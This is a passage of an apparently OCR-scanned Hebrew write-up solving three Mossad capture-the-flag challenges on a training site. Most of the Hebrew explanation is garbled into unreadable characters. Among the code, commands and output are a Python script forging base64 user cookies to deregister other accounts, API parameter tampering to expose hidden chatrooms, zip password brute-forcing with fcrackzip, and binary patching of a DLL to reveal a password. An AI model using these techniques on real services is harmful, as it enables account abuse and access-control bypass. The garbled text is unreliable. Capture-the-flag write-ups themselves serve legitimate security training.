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,0170 X¥n' X7 7212 629331208, 605614050W D'190NN NX DIV NISN 72122 wnNwa OX 17D
DWA 'N N¥N' 7212 62.933120S, 60.5614050W I'n' D'I90NNY )2 NTI71 NINSO 2 "INK §'011 DX X

:Deception Island

= 62.9331205,60.5614050W o x B+« m

62°55'59.2"S 60°33'41.1"W g
-62.933120, -60.561405
] Deceptien Island
* @ _E <: , Antarctica 0

-62 933115, -60.561405

SAVE NEARBY SEND TO YOUR SHARE
PHONE

°+ Add a missing place

(31 Deception Isiand

.http://www.deceptionisland.xyz ;X' NXXINN NI

NXMIN 720 ,(1"oNn 1101w 1197 DONIDY oI NN '97) NAMIdN NN KIXA? NS0 T AN

DYV 7'M wI9n T Y "ManRn Mot 0" run iwnn ionn 1Ry an X7 X0OIm T

"N NX

ChitChat - jux1 2w

:Nn'wnn 7y 120n

Challenge #1

Welcome back Agent CI

Once again we require your skills for an urgent mission.

Our intelligence officers have intercepied a message between notorious terrorists
discussing an imminent attack on targets world-wide.

Intel poinis to a popular chat website used by these terrorisis to coordinate and select
rendezvous locations.

Your mission is to track the team online and ascertain their physical location.

The following leads to the web site of the online chat service.

Good luckl,
M.
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:Login-n 97T

Welcome to ChatMaster™! The #1 chat room service on the net!

Welcome to ChatMaster
Register Please enter your login information below
De-register
Registration Status User name

Login Password

=
About us...

Forgot your password? Click here

JTI0 0TN RIXNAY1E 1DVNY NAnnnt naunn

JDWNN 0 T Y WK 7ap ownn? 0Ta

:?71n27YnY 72annn7 "WOX I'X

:realgam3 Dw2 OTI' DY NDWN? NnYINA 7'Nn

Welcome to ChatMaster
Please enter your registration information below:

realgama3
realgam3@gmail.com

Whoot!

SUBMIT!

TIYWRY D'DNNY O'WINR 36 111197 W' IR ,NDWNN 701NN NIWKR 727 0DMY 1INIR N1NWIIY INRYT

DIYRYT 7w DYID'0N NIX 7' TANT TO 1IN DIWRY DNIR D'YY T KINAZ D'DMIX DNIRI

ChatMaster Registration Status

There are 36 users before you in the registration queue.
You will get notified when your account is active.

Users on the waiting queue

realgam3
Mr.Li BOb
Dr. Drek
may_o_nez

tom_HW
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:deregister-7 VW' 1111'V7 YOI (1IMMWNIW INKRYT) NNWINN 9T7 DATIN 1INIRWD

Welcome to ChatMaster
User realgama3 is already registered! Would you like to deregister?

D'N'AN NNIX N '2N7 77 IRW 'YDY ...|"MIyn ,N702NN N7Y DnwInn 1'7Y 0'¥NI7 1INIX TWRD

17 17'wr o 71X Cookies-a V') ,NINN WX 1INXY NN

Ty 0 + %) = Q <

» .deceptionisland.xyz | _ga

+ .deceptionisland.xyz | _gid
+ deceptionisland.xyz | challengeState

* deceptionisland.xyz | eu

Value

RcmVhbGdhbTM=§

()
o’
@

Domain
deceptionisland.xyz
Path

/

Expiration
03/05/2018 10:16 AM

HostOnly [« Session |« Secure HurpOnly

V Help

2190 Base64-1 TTIj7n |9¥In Serialized Data NX11 - challengeState o

.Google Analytics-7 DNIwp - _gid-1_ga e

.realgam3 X'n NXXINN INIX D'NIYON NNIXWOW NIXDINA qi?In Base64 v TMViAY' -eu o

NXN) UNNWYNN DY ,NN'YN] D'UNNYUAN 727 nnwinn DK 7027 DDMY DNIRY DYTI NIX TX
117 w1 (Response 72 TIN XIN D) NMwY? N0X) T'nn challengeState '7Izn NN ,eu DWA 'l

.deregister-7 Ww'p

‘D'YUNNYNN 737 nnwan 7020w [IN'o1 TI 2Nl ,NIT T NTIAYN DX NIYY7 X7 nan by

import re
import requests

# List of all users
users = [
"Mr.Li BOb", "Dr. Drek", "may o nez", "tom HW", .., "britneyspearz", "johndow"

]

# Current Challenge State
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challengeState = 'ODF3UFAObWlteGp2bEpkRkdmMGRIUOQ..WHhQW1UrNmcrdFc3bkVRMzdNUTO09'

# Iterate All Users
for user in users:
# Show our place on the list
res = requests.get(
url="http://deceptionisland.xyz/challengel/viewlist",
cookies={
'challengeState': challengeState,
'eu': '"cmVhbGdhbTM=""
}I
)

# Preserve challengeState Cookie
challengeState = res.cookies.get ('challengeState')

# Print our place on the list
print re.search (" (There are \d+ users before you in the registration queue\.)",
res.content) .group (0)

# Deregister user
res = requests.get(
url="http://deceptionisland.xyz/challengel/deregister",
cookies={
'challengeState': challengeState,
'eu': '"%s"' % user.encode ('base64').strip(),
}I
headers={
'Referer': res.request.url
}I
)
# Preserve challengeState Cookie
challengeState = res.cookies.get ('challengeState')

# Print challengeState Cookie (the last state)
print
print {'challengeState': challengeState}

INAN V790 DX 72731 TIPN IR YN

There are 36 users before you in the registration queue.
There are 35 users before you in the registration queue.
There are 34 users before you in the registration queue.
There are 33 users before you in the registration queue.

users before you in the registration queue.
users before you in the registration queue.
users before you in the registration queue.
users before you in the registration queue.

There are
There are
There are
There are

RN WD

{'challengeState': '"aXNQSFhLZVkvUONJ..VURZSDJ5SjJRbjY=""1}

117w 01VVON NN DXL [DT9T] challengeState 'IpPN NX 9*7N)
Welcome to ChatMaster

ChatMaster Registration Status

There are 0 users before you in the registration queue
You will get notified when your account is active.

Users on the waiting queue

realgam3

DY DY 12NNN7 0'0IN 1INIX ,INK T X 1MINKX IR 121197 'K NDIWNA [IWRIN T NIX 1'WDY
IR ,7N1Mmn OX'YN 1TN? vanT 70 117 ORI DD .0'NY7¥nl 17Y nno'onl realgam3 wnnwnn
nNNIXY nYTIN 0720 1NIX (View all chatrooms) OX'¥N TR 70 MR NIXAY D'012 1INIXWD

19Tn X NIXTYT YD DI'0Y9 [Iawn DY NIfNY 0DNY
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Welcome to ChatMaster™! The #1 chat room service on the net!

Welcome to ChatMaster
® Sorry, This area Is reserved for our PLATINUM members only._.
Welcome realgam3!
Chatroom membership
View all chatrooms
Active users
Logout

)
About us._

D'YTNN N9'X |'AN?7 N0 T8I Chatroom membership 0T *7n1T1Y VXY 1TN? VX¥NT NO1 *7IX TN
...01"Mynn

Available Rooms Selected Rooms

50+

art
dating
news
politics
sports

JOIN ROOMS NOW!

NNAY 07270 1INIX TAR TNN N 2V 198 qa0¥n?1 TN TN 1INA7 TWONNY punn 17 v

AIY D'DMX NNIXY NYTIN D"71|7YJ 11NAX UX'¥] NISXY7 D'01N 1INIX DNI ...NYAT 12 TNX TN NIy

.OKR'¥N TNY 01207 T NdWwnNN 7N YW IwUR
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:DTNN NN'WY DR TN API-7 AJAX-n n'1*ayn GET nwjpa NN7wa 0770 "NIiNkn

challengel/chatroonlist 7u=apiussrép=apipasswvordéutype=Llirand=£2
L5593 05-cabl-4b5d-ae07-109847eldlaTea~0&s=1l&g=5&1at=50.07973 &long
=090.78369 HTTP/ 1.1

HoSt: OSCepPCIonISIland. nve

Accept: application/json, text/javascript, */*

X-Requested-With: XNLHttpRecquest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingé4; x=E4)
AppleWsbKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81
Safari/537.3€6

Content-Type: application/x—www-form—urlencoded

Referer: http://deceptionisland.xyz/challengel/chatrooms
Accept-Language: en-US,en;q=0.0

Cookie: euw="YZlhhdFcxeg=="; gat=1l:; eu="cmVhbGdhbTH=";
challengeState="aXI0SFhL ZVk:IUDNJSTJDUUNkaxUTFVPeDhUTnhDZFVYZHh‘l
MRk ZF ImMVF LS zViR1UVHWF TSDF 2 Z0RYyOD 1wHF RvTVATal REUNI SA 1 VEMURN TEF X
MlhPLzF4¥TnlsM1BhUCSzUGNNEKE INLAQSWF QUK LWk4yNXJBLzFEek9IQ0k1EckDz
VinllyS3 kONXcomhx TIF pVWIvUZ lwOGSkh LVJQkdraZwwZEgwalZFaFVeVidaTiNE
VTItNndPVVo I MHF tLO42 UnZpVyt 3 Up TAVRSVG10aFVSWIVoeEFhYUSke WESHTAL
UWhybZwiVIipjemMZUZ 1TV IhZWUIQLITIFLamp ze Hp Y IV THITEVF yRWIDSZ ISUEAD
AEhsUWnbVVieFFFVI SkimxGaWFJTGSLRZFXalZyRFEDe¥4bh3 11d2 ZmTThZ b
MSBITzBLULROVIRTVDRUIvt Ko dx L2 gyl LAz UmS EQkI TWcd4cEF SRFIELOt xVI 91
RINrNZJBAGRalU0S52 ODhEQURUSWSr TEY 52 ] luWjNwM3 Zr S50 UKIBSVERITI EGe5ts
ATJHZFADOXg4cUIPOIQyT1ZJTWNI ZGswind WUWNyN INkSkhWUzZpYzFieUByEnVe
S VINVVLCGRp Wk L MHF xdUx G Znpd TmS i UpnM3 h2 UGNSVURZSDISS ) JRb Y=";
_ga=GAl.2.1245930603. 1493677213 _gid=GR1.2.142123518. 1493722139

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET A HTTF/Ll.1 200 OK
r

Date: Tu=, 02 May 2017 10:50:15 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: €4

Content-Type: application/json

{"chatrooms": ["50+", "art"”, "dating", "news", "politics", "sports"]}

N7 p-1 YNnnun Nt u 0OX ')) a-l (WTJ]’W}YJH 210 NRN1D) utype D1'yn D'LVNNS 2 DO'RIN NNIX

.(all Ix admin > nx11 a T8 NNO'O

775 10T D) 0-7 1-n utype NN (true-7 false-n) 1-7 0-n a NX NIWAI N¥P DVNION DY ZNY)

1770 0w 72X DA 0TV I'D DMNNR DTR'YY DY 710 ,(J'D'\UYJJ JIYUKAN ATI'N A0 N7 |'NTR

.0"Mran

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex

Host: deceptionisland.uyz

I I HTTP/ 1.1 200 CK
challengsl/chatroomList 7u=apinssc&p=apipassvordeutyps=Derand=c2f| Date: Tus, 02 May 2017 10:51:24 GHT
lEIQEEISf:.ahi*‘lbf-d*aiﬂ’?*fﬂgﬂ‘ﬂeld:a7&a:l&s:L&gZSElat:9D.EI’?S’?E&1Dng| Server: Apache/2.4.18 (Ubuntu)

S0, 76360 HITP/ 1.1 Content-Length:
Contenc-Type:

zoz

application/Json

Accept: application/json, text/javascript, */7*
X-Requested-With: XMLHCTpRequest

User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winéd; x£4)
AppleWehEit/537.3€ (KHTML, like Gecko) Chrome/58.0.3028.81

dancing

{"chatrooms™: ["*3ust chat*", "-Mossad challengs solutions-","S0+", "Mobile & gadgets”, "Platinum

club”," chatlge_ ", "art”,"cowputing”, "dating", "news","politics”, "sports", -~ !!!|WeRGOdsFury!!!~~"]

Safari/537.36

Contenc-Type: application/x-www-form-urlencoded

Refsrer: hrep://deceptionisland.xzyvz/challengsl/chatrooms
Accept-Language: en-US,en;q=0.8

Cookis: eu="YihhdFexeg=="; _gat=l; eu="cmVEbGAMSTH=";
challengeState="aXN0SFhL ZVivIONISTIOUMy Zkx UTFVPe DRUTRhD ZFVTZWhA
MRk ZF 1MVFLS 2V3 B 1UvHWFTSDF 2 Z0RyOD 1wMFRvTVATa 1 REUnd S LVEMURNTEFX
MLhPLZF4Tn1sM1BhUCS zUGHNRIZ I 1AQSVF UQUK LWkc4yITXIBL 2F Ee k9 TQk LECKD
V53 kONEdoHimh: Y3 FpVWIvIS 1w0GSkh 1VIQkdral ww ZEgwalZF aFVuV3 JaTINE
VTJtNRdPVVo3 MEFtLO4Z UnZpVyt I SUpTAVRSVGL0aFV 5 VS=EFhYUSke WESHTAE
UWhybh2wZV1pdewlz U2 1YV 1h2 WUQLTIFLamp 2= Hp 6 Y 1V TRI TZVF yRW1DS2 JSUEAD
AEhSUWNNLVVieFF: JCmGaWF I TGSLR2FXal ZyRFEDC KHAb ] 11d2 ZmTThIbmx
K82 TzBLULROVIRYVDRuQytKejdxLZ gyl AzUm9 6 Qkd TdWd4cEF SRFNKLOtxV29 1
RINYNZJBAGRaUD 52 CDhKQURUSWSY TXT523 LuWNwh3 ZrSSOUK3 BSVERZT] 2GSt s
ATIHZ3ADOX G4 cUTPQI QyT 12 TWIN2 ZGSvwSnd WOWHyN INSKhWU 2 2p Y aF 1 U8y Znvy
SIVENVVLCGRD W LMHF % dUxCZnpd TmScliUp i3 h2 UGHSVURZSDISS I JRLIY=";
_ga=GAil.2. 1239930603, 1393677213; _gid=GAL.2.142123918. 1493722139

Mossad -) 7N0 N> N¥jp AW 1TNT7 27 DMWY DA OXR'XD TN 7D K D'RIN NNXY INIX YD

,OX'¥N 1 TN 012'N7 IO INIX TWKR' NDWNN 7nINw 0DMX INIX TV 72X (-challenge solutions

Forgot your - 17w NNO'ON OI9'X 'T-7V "7IX) NDIWNN 7N1N7 YNO? TWOX DRN NIKY7 NON TX

.(password?
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Welcome to ChatMaster
Forgot Your Password?

Please enter your username below:

User name

SUBMIT!

The admin password for "chatW1z" was successfuly reset. hint: /challenge1/password_hint

TX ,yal 17 TI' http://deceptionisland.xyz/challengel/password hint W'?7 0'0101 1ININ TWXD

:file nTI79N DY Yaln 10 NN IT)

root@kali: # file password hint
password _hint: Zip archive data, at least v2.0 to extract

y¥a? 72w ferackzip-2 wnnwa TX ,NN0'01 711 Yalgnw D'7an 1INIX X Zip KN Yalgn 10

Y2I7n 7w nnoon 7y BruteForce Nopnn

@kali: # fcrackzip -u -c Aal -1 1-6 ./password hint

Iroo

.NNO'ON NKX X'XIN7 ' YI7'NA wNNwn7 -u e
NNLVR NIFNIR NI NFNIR - Aal @ (1=0-9 ,a=2a-z ,A=A-Z) NN0'0] MWOKRN VOPLN A0 -C
.0"o0ni

.1-6 :NNO'07 MWOR TTIA -l e

:DLL yaI? 72j73 12NANI unzip NITYA O'TN Yalj7 DX Y7N1 TX ,docl X'N 1INXNY NNo'on

# unzip -x password hint
Archive: password hint

[password hint] PassMasterExtension3 1.dll password:
inflating: PassMasterExtension3_1.dll
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NIXT? [NIW '9D Run DWA exported N'¥j7119 W' 12'R11 IDA Dy DLL yaizn JIN7 nxxn pn XY

NAN TP VoA

Mame

@ Decrypt
@ Decrypt2
@ Encrypt
@ Encrypt2
@ Run
E3 DIEN

Address Ordinal
73772890 1
73772BCO 2
F3772B0O0 3
F3772B30 4
FITT2C20 ]
73772F3E [rmain en

NAN NO'WWA NIDIN NYPAIDY7 1wan x32dbg MATva DLL yal a2T7? NANQ'T DY NNWON W

17w D™1an'on 7y n*7ononl x32dbg-1 fIxdn DLL-0 Nk DN

-’_ CPU

QGraph | | 2 Log | [ Notes | ® Breakpoints | #88 Memory Map | [l call Stack | =3 SEH | |#| Seript | & symbols | <2 Source

Base Module Party
00410000 | d111oader32_9138. exe User '
&80 30000 | ucrtbase.d11 System |1
&C100000 | api-ms-win-crt-convert-11-1-0.d11 System |1
&C110000 | api-ms-win-crt-stdio-11-1-0.d11 System |1
SCAFOO000 | api-ms-win-crt-heap-11-1-0.d11 System |1
SCES0000 | api-ms-win-crt-string-11-1-0.d11 System |1
SCE20000 | api-ms-win-core-file-11-2-0.d11 System |1
SCE30000 | api-ms-win-core-processthreads-11-1-1.d11 | System |1
GCE40000 | api-ms-win-core-synch-11-2-0.d11 System |1
SCESO000 | api-ms-win-core-localization-11-2-0.d11 System |1
SCESD000 | api-ms-win-core-file-12-1-0.d11 System |1
SCEADDODOD | api-ms-win-core-timezone-11-1-0.d11 System |1
SCEBOOOO | veruntimel4o.dll System |1
api-ms-win-crt-runtime-11-1-0.d11 System |1
p] passmasterextension3_1.d11 User |
kernelbase.dl11 System |1
msvert.dll System |1
gdi3zz.dll System |1
imm3z2.d11 System |1
rpcrt4.dil System |1
advapizz.dll System |1
usplo.dil System |1
77000000 | 1pk.d11 System |
77170000 | user32.dll System |1
A0000 | kernel32.d11 System |1
80000 | sechost.d11 System |1
A0000 | msctf.dl11 System |1
40000 | ntd11.d11 System |1

»+ || Address | Type Symbol

736F2B00 | EXport | Encrypt

736F2B30 | Export | Encrypt2

736F2E30 | Export |Decrypt

736F2BCO | Export |Decrypt2

736F2C20 | EXxport [Run

736F2F3E | Export | OptionalHeader.AddressOfEntryPoint
736F4000 | Import | GetModuleHandlea

736F4004 | Import | GetTickCount

736F4008 | Import | SetUnhandledExceptionFilter
736F400C | Import | GEtCurrentProcess

736F4010 | Import | TerminateProcess

736F4014 | Import | ISProcessorFeaturePresent
736F4018 | Import | IsDebuggerPresent

736F401C | Import | InitializeSListHead
736F4020 | Import | GetSystemTimeAsFileTime
736F4024 | Import | GetCurrentThreadId
736F4028 | Import | GetCurrentProcessId
736F402C | Import | QueryPerformanceCounter
736F4030 | Import | UnhandledExceptionFilter
726F40328 | Import | memset

736F403C | Import | __std_type_info_destroy_list
736F4040 | Import | _except_handler4_common
736F4044 | Import | memcpy

736F4080 | Import | __stdio_common_wTprintf
736F40584 | Import | __acrt_iob_func

736F4088 | Import | __stdio_common_wTscanf
736F404C | Import (malloc

73I6F4054 | Import | _cexit

736F4058 | Import | _crt_atexit

73GF405C | Import | _execute_onexit_table
736F4060 | Import | _register_onexit_function
736F4064 | Import nitialize_onexit_table
736F4068 | Import | _initialize_narrow_environment
736F406C | Import | _configure_narrow_argv
736F4070| Import | _seh_filter_d11

736F4074 | Import | _initterm_e

736F4075 | Import | _initterm

XY N'Y190 DR W' 12T7 NNYWORN DX 117 [N ,"Set New Origin Here" jIn'ol x32dbg-1 1n' [¥xn%

N7 PN NTA NI 0no L,ntn DLL-N DX N7V'W yalp AmdY1 1719ni DIY NINDY X X7 ,0'%N

DNIXR QINT? VIYD DVNID NND W' AT ,2QT7 DYNY ANII90 X D'WY VIWD AT ("MyT7)

E§ Assemble Space
& Patches Ctrl+pP
1 vara... Ctrl+¥

Set New Origin Here Ctrl+* I

11' Create Mew Thread Here
& G »
1ol Search for »
Y R ~

.DOXNN2 D'YINNNIE DN0NN9N DX 1TOYI NonnY
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WUPAN XINY KNO'0 W'Y TIZN '97 NRNAI TIPN NIX 22717 7'NNA DN WNKY

7| C\Users\master\Desktop\DLLLoader32_79C2.exe

Managnment password:
1234

[= |5 ]E=s)

m| s

DN D NIDIN XNO'0N N'AN NN NYT? NNWOX wnn |'X DA ,0'10] KNO'O NT'X NIYN NNX2 X7 Nt

DN wnNn X7 DA DP7NY DN D' DY 19X XIDI GetTickCount-1 niz'Taa D'wnnwn

JMy ' X TIva XNo'on 'R N NITNY? NI0A7 AT 7Iata ATY NAn% 10 TR ,N09TnY

-text:737728F1
-text:737728F3
-tert:737728F6
-text:737728FB
-text:73I7728FD
-text: 737729008
-text: 73772901
-text: 73772902
-text: 73772903
-text:73772908
-text:7377290A
-text:73772918
-tert:73772915
-tert:7377291C
-tert:73772922
-tert:73772924
-tert:73772929
-tert:7377292B
-tert:7377292D
-tert:73772938

DTN TIp yopn Nt

; "kerneld2 . dl1"

NN '97 pavinnY 0'na 0x40-7 D'RKNN XNO'ONI NT'MAl DN 0x40 7TIA2 XN0'0 D'AVNN qunna

N2 wNn X7 XID NP AT 12TY 1D'oN L1 TN A?a1on GetTickCount-1 yajw

10

X X0M1) 2017 - TOIMN NANK [INND
www.DigitalWhisper.co.il

2017 2arr ,83 1"



BEIr! 83 F8 01 tmp eax, 1
~ 75 2D jne passmasterextension3_1.73792AD2
8D 8D FC EF FF FF lea ecx,dword ptr ss:|[[ebp-1004]
E8 50 FF FF FF call passmasterexten51on3 1 ?3?92ADD
8D 8% FC EF FF FF lea eax,dword ptr ss:|febp-1004]
S0 push eax
68 90 43 73 73 push passmasterextension 737943930
E8 SF E5 FF FF call passmasterextens1un3 _1.73791020
83 C4 08 add esp,=
8B 4D FC mov ecx,dword ptr ss:|febp-4]
33 CD xor ecx,ebp
E8 57 01 00 00 call passmasterextension3_1.73792C25
8B ES mov esp,ebp
5D pop ebp
Cc3 ret
68 AB 49 79 73 push passmasterextension 737949A8
ES 44 ES FF FF call passmasterexten51un3 _1.73791020
8B 4D FC mov ecx,dword ptr ss:|febp-4]
83 C4 04 add esp.i
33 CD xor ecx,ebp
ES8 2C 01 00 00 call passmasterextension3_1.73792C25
8B ES mov esp,ebp
A v oon eho
-7 M

Bl 73792440 83 F8 01 cmp 2ax,1

3 20 nop

4 290 nop

N7Y "TD NAWNN X7N IY'PYN ToIMN TP 19 NINWN XN0'on ,1N7W XNo'on NN 7271 Pn TNKY

YL TN 2 NI NN vy 1o

| C\Users\ma ster\Desktop\DLLLoader32_79C2.exe EI @

m| »

fMour password is: chatroomguardian

.D"NTN IWKRT? 0710 1INIX TR ['MTRN 7w hno'on NX 117 ' Nyd

Welcome to ChatMaster

@ Recent chatroom membership approval:

chawtz - = e

Pending chatroom requests
L ogout

]
About us...

"~~I11WeRGOdsFury!!!~~" :XIn D'>"¥ NNIXY 17TANY D2'2N 1INIX DYTNN DY ¥7 7NYn NX
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NN IN HTML-2 2TNN oW 'Y T 29 2TNY 910¥n? nwza n7wal 099 wnnwn? Irna 0TI X

NYpan
You are a member of the ~~!!!WeRGO0dsFury!!!-~ chat room
Available Rooms Selected Rooms
50+ - ~~1IWeR GOdsFury!ll~~ -
art
dating
news
politics
sports

JOIN ROOMS NOW!

TN DX WK NDIYAY 1INXAY NNOo'oN DY 7nInY 21w 010) 1'wdy

User 'realgam3' would like to access '~-~IIWeRG0OdsFurylll~~'

:(Chat Now!) 7707 01221 NINNXN DY 7Y WNNWNYT AITNI 1TRN DX NY'RY NNR

@ Welcome to the ~~!!/WeRG0dsFury!!!~~ chatroom! (You are the only one in the room)
Welcome realgam3!
Chatroom membership ‘Where are you my friends??? | am already here at: The-bay-
watch’
View all chatrooms Please hurry, and bring the ‘kandies’. | have a feeling we're being watched
Active users
Chat Now!
Logout
About us_

Ixan 277 NNIK 721N 'The-bay-watch' Viwpn 7y nynY
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ST echnoloqgi

iExplode 5.4 - n¥ 2w

3Nn'wnn 7y Yaon

Challenge #2

Well done Agentl

The location you recovered was correct and we dispatched our tactical team.
However, the terrorist group was already gone by the time they arrived. We gathered
enough intel to determine that the terrorists have planted a bomb on an airplane
somewhere in the world, but we do not know the flight number and/or its destination_

We did however recover a of the bomb from the terrorist meeting.

Our steganography expert insists that the picture contains a hidden message, but she
was unsuccessful in uncovering it before she left on her honeymoon.

We require your assistance in locating and defusing the bomb before it detonates.
There isn't much time. ..

Good luckl,
M.

MINNNN NTNNN Y707 XN nNunnw 0'2an nNX ,(bomb.png) nimn 17 TN picture 7y nx'n%

JINT NIWYYT 71D zsteg 701 WNNWI TX

# zsteg bomb.png
L] l.'l,_ l.'l,_ I,-I L]
\t{vyx ~ 0"

L 200 'VWxs ZW5nZTIvYmItYg

(b1) 1 va Dy LSB X'N LOFLN NX X2ANN7 'O N IYNNYAY N'9IA11A00N NU'WY KN zsteg

(xy) y ¥ 7v X1 x ¥ 2V n¥Ma (bgr) DTN ,pint 71ind 7w 1 T0

AW Y D"73.|7YJ NNIX INIX D'NIWON NNIXY NX7 ,Base64 N> nKM I]'73.'|'NJ 0uopPLN

D'7ani http://deceptionisland.xyz/challenge2/bomb w7 0r0131 11nax ."/challenge2/bomb"

:NXYON NN 77017 "D 701NN NNO'0 NIK 1XYW NXXD 7W MNK NTYW

)

."’,vl Remote Bomb Control System

Powered by iExplode™_ All rights reserved

Disarm Bomb
Please enter your admin password below to disarm the bomb

Bomb Remote-Control Menu
Explode Now!!

Admin Password

o)

Disarm Bomb

Manual defuse

Bomb Info
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Technologic

:iExplode 5.4 N>YNN NNWIP? MY W'Y O'RN 1INIX Bomb Info-7 0'0121 11NIXWO

£\

.“vl Remote Bomb Control System

Powered by iExplode™ _ All rights reserved

Bomb Information
Bomb Remote-Control Menu
" 070 =]
DS E D Model Number #BMB123%UKFG%22311 C-4 edition
Manual defuse Serial Number 0000000000000000001
Bomb Info. Status Armed
Firmware Version iExplode™ 5 4 Beta edition
License None (Evaluation version)
Plastic (standard) Plugin Installed
Anthrax Plugin Not installed
Extra Damage Plugin Not installed
Mass Destruction Plugin Not supported

file NTIPON NITYA yaIn 210 NN 'an? D'0I YalEN NN DTN 1INIX

# file firmware

00 : l# unzip -x firmware
Archive: firmware
extracting: ead62fcb3feb4lc2bee?22cleed9aa7of
o i~/ l# file ead62fcb3feb41lc2bee22cleed9aa7of
y eed9aa/9f: Linux rev 1.0 ext?2 filesystem data, UUID=b234e
041-6919-4b01-9e29-6212081ece9e, volume name "iExplode"

sl Tt .

IMIX NI9N7 "D mount-2 WNNW1 TX ,ext2 a1on op'? 7w D'¥ap NdWwn W yalp 1'vdy 17 v

NTIPON MY Nmipn nv'nY

mount ead62fcb3febd4lc2bee22cleed9aa79f ./mount/

NONKRN 7Y DYaED N DY IR fvar/www-"7 0101 YD

# mount -t ext2 ead62fcb3febalc2bee22cleed9aa79f ~/mossad/mount/
# cd mount/

iroot/mossadimountivariw e/ # cd var/www/

| : ar /i

f iexceptions.py 2017-03-21...
T iexplode.py 2017-03-21...
__|iexplode. wsgi 2017-03-21 ...
[ Pmamt.pye 2017-03-21 ...

y¥am 7'nn1 X ,Pmgmt.pyc-1 iexplode.py I'wdy DnaMyn o'¥ap 2 17 v low nnxa 0N
(pip DT TN "WORW) uncompyle6 NITVA TIE'7 INIX 19071 Pmgmt.pyc yalPin 7y Decompile

NTIPOSN QY

# Install

pip install uncompyle6

# Decompile

uncompyle6 Pmgmt.pyc > Pmgmt.py
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def defuse page(environ, start_response
try
if environ
raise ErrorPage

ata — environ read( 100
e_data = parse_qgs(defuse_data

if Pmgmt.CheckPassword(defuse data
start_response
res

return res

start_response
res

return res

I'wOYw Pmgmt.pyc 1IN Nnpimny CheckPassword DWA NINX N'Yj191 NWUNNWN D¥21190

:Pmgmt.py YaI72 (TI70™ IN'D NI¥A X7) TIZ NI XM

17w offset-2 wnnwin'?l /etc/iexprun-2 XXNIW yaIpn NX XNj'7 110X NNO'ON NN NYT? 7'awa TR

:__PASS__ NINwnN2 NIXNO'0Y7 O TI'ND

# python -c "import Pmgmt; t g i open('../../etc/iexprun').

NNo'o NN D'w1,"000000000001" N N iexprun Yalzaw JnIX AT bang8 X'n 71n"1n Nno'o

IINNXN 27¢'7 11ava1 nxyon NX 7017 1 7ninn
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Technolooi

Its Encrypted! - jnnx 2w

3Nn'wnn 7y Yaon

Challenge #3

You did it againl

The bomb you defused was discovered soon after the airplane landed (seems that
someone posted an anonymous tip to local authorities__ ).

Additionally, we have been able to recruit an agent within the terrorist cell.

We are unable to maintain constant contact with him as the agent is deep undercover.
However, he did manage to post a to our secure servers. We require your
skills once again in order to follow the communication trail and reveal the message.

Thanks, and good luckl,
M.

message Yali7n NX T TX ,NNIK NIYD7 70X 1INIXI NIOXIN NYTIN W'Y 022N NNIX DTN 2702
file nATY2 yaipn a0 nn 12l

# file message

pcap-ng capture file - version 1.6

Network “w 1%7w% arn 27wn DX 191INW nn Wireshark Dy NN9iw pcap-ng Yl Narm
U' NN 2n? 1> Wireshark Dy IMIX NN911I message.pcapng-7 yalpn DW NX 7M1 TX ,Forensics

:(Statistics -> Protocol Hirarchy v"™ona) Protocol Hirarchy natva

‘ Wireshark - Protocol Hierarchy Statistics - message
Protocal v Percent Packets Packets Percent Bytes Bytes Bits/s End Packets End Bytes End Bits/s
~ Frame 1000 114 1000 24296 7764 0 0 0
v Ethernet 100.0 114 6.6 1596 510 0 0 0
+ Internet Protocol Version 4 100.0 114 9.4 2280 728 O 0 0
~ Transmission Control Protocol 683.2 72 1.7 27135 8671 32 11224 3586
Secure Sackets Layer 22.8 26 60.7 14759 4716 8 3682 1176
Malformed Packet 79 g 0.0 0 0 9 0 0
Data 44 5 03 77 24 5 77 24
Internet Control Message Protocol 52.6 60 15.8 3840 1227 60 3840 1227

TCP miayny win'y ¢' pa 7ax ICMP-a1 (SSL) M19x¥im NMIayvna 2NN vin'y W'y 0'RN 1INIX
S22pnn \ 7wl nn ARNENNIK WON TR N7
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M Wireshark - Follow TCP Stream (tcp.stream eq 0) - message

220 (vsFTPd 3.8.2)
AUTH SSL
234 Proceed with negotiation.

.Ul ..govl.®.. *.H..

. ...1337@gov.ile. .
1703230633177.

18632306331770z1.0 .Ul T11.8
..U....Israell.@...U....Tel-Avivl.@
..U

..govl.@

............. X...{X..0..9...R....f3;_p.o.....0.,.(-%...

(RPN S 0 4 < - T - AR DR . TR - T S 3

P L L

.

_..<¥rsZhre...5....Q.V<c<}. T oot B e 0...0.........
*_H..

..... 9z1.0 PR R I -}

veier....g.@.7.5.3.2.1.0.........E.D.C.B.1.-.).

.990 71n"1 VA9 7V FTP over SSL MMIAyNA "aImw 0'RiN 11NN follow tep stream 11'Wyw MNX TN

.Tunnel-> ICMP-2 wnnwn? n'om "X 21T ™8 ICMP Navn Tn NI' W'y R 0N

.N¥INN\NN"9 yT' n1avay

GE00 88 @c 29 70 Be 00 B8O @c 29 99 75 ca 98 00 45 60 Jp.-.- ).u E
0010 9@ 54 ff 2b 40 @0 48 @1 29 1d cP a8 c8 86 cP al T.+H0.@. ).ueno...
O020 8 88 98 @0 83 38 Bd c2 @B Bl 2f ac 9 58 @@ B@  ..... .. ../ X,
O030 90 @B 21 2e Bf 0P PO @0 @B BB 2f 63 68 61 6C 6C B ../chall
0040 65 6e 67 65 33 2f 78 6b 65 79 2f 63 68 61 6¢ 6C enged/pk ey/chall
a050 65 6e 67 65 33 2f 78 6b 65 79 2f 63 68 61 6¢ 6C enged/pk ey/chall
6868 65 be en
./challenge3/pkey '019 NNoNY? 77amw Wp IR¥YN 07T
Ope0 @8 Bc 29 70 8e B8O @0 Oc 29 99 75 ca O8 00 45 00 Jp.... ).u E
0016 88 54 ff 2c 40 80 48 81 29 1c c® a8 c8 86 cP a8 T.,80.@. Y.......
00260 cB 88 08 80 fc be 8d c3 80 @1 2f ac e9 58 BB @B ........ T
OP30 2 PR af 31 of PO 0P P2 8O 8B 73 65 63 72 65 74 .10 L.secret
0p40 20 20 20 20 20 20 20 20 20 20 73 65 63 72 65 74 secret
0Es50 20 20 20 20 20 20 20 20 20 20 73 65 63 72 65 74 secret
0pcE 20 20
.secret [DINN DY NYTIN W' NN9AN DY DYTINN INX7 TN
